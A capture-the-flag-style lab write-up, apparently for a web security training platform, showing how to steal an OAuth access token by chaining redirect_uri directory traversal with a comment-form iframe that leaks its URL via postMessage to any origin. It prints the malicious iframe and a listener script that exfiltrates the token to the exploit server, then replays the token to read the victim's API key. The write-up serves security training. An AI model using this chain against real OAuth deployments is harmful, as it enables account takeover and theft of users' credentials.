Stealing OAuth access tokens via a proxy page

Description

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.

Reproduction and proof of concept

  1. Log in with wiener:peter. Study the OAuth flow while proxying traffic through Burp. Using the same method as in the previous lab, identify that the redirect_uri is vulnerable to directory traversal. This enables you to redirect access tokens to arbitrary pages on the blog website.

Oauth

Oauth

  1. Using Burp, audit the other pages on the blog website. Observe that the comment form is included as an iframe on each blog post.

Oauth

Look closer at the /post/comment/comment-form page in Burp:

<script>
    parent.postMessage({type: 'onload', data: window.location.href}, '*')
    function submitForm(form, ev) {
        ev.preventDefault();
        const formData = new FormData(document.getElementById("comment-form"));
        const hashParams = new URLSearchParams(window.location.hash.substr(1));
        const o = {};
        formData.forEach((v, k) => o[k] = v);
        hashParams.forEach((v, k) => o[k] = v);
        parent.postMessage({type: 'oncomment', content: o}, '*');
        form.reset();
    }
</script>

It uses the postMessage() method to send the window.location.href property to its parent window. Crucially, it allows messages to be posted to any origin (*).

  1. From the proxy history, right-click on the GET /auth?client_id=[...] request and select Copy URL.

https://oauth-0a96005b04ff5f0ac04f571402a3005d.oauth-server.net/auth?client_id=i1venwl6rtpdzcwkm9or8&redirect_uri=https://0a1b0095040d5f81c0cc594500a900a1.web-security-academy.net/oauth-callback&response_type=token&nonce=1976758516&scope=openid%20profile%20email
  1. Go to the exploit server and create an iframe in which the src attribute is the URL you just copied. Use directory traversal to change the redirect_uri so that it points to the comment form. The result should look something like this:

<iframe src="https://oauth-0a96005b04ff5f0ac04f571402a3005d.oauth-server.net/auth?client_id=i1venwl6rtpdzcwkm9or8&redirect_uri=https://0a1b0095040d5f81c0cc594500a900a1.web-security-academy.net/oauth-callback/post/comment/comment-form&response_type=token&nonce=1976758516&scope=openid%20profile%20email"></iframe>
  1. Below this, add a suitable script that will listen for web messages and output the contents somewhere. For example, you can use the following script to reveal the web message in the exploit server’s access log:

<script>
    window.addEventListener('message', function(e) {
        fetch("/" + encodeURIComponent(e.data.data))
    }, false)
</script>
  1. To check the exploit is working, store it and then click View exploit. Make sure that the iframe loads then go to the exploit server’s access log. There should be a request for which the path is the full URL of the comment form, along with a fragment containing the access token.

  2. Go back to the exploit server and deliver this exploit to the victim. Copy their access token from the log. Make sure you don’t accidentally include any of the surrounding URL-encoded characters.

Oauth

  1. Send the GET /me request to Burp Repeater. In Repeater, replace the token in the Authorization: Bearer header with the one you just copied and send the request. Observe that you have successfully made an API call to fetch the victim’s data, including their API key.

Oauth

  1. Use the Submit solution button at the top of the lab page to submit the stolen key and solve the lab.

Oauth

Exploitability

An attacker will need to log in; and then identify a secondary vulnerability in the client application and use this as a proxy to steal an access token for the admin user’s account; use the access token to obtain the admin’s API key and submit the solution using the button provided in the lab banner.

The admin user will open anything you send from the exploit server, and they always have an active session with the OAuth service.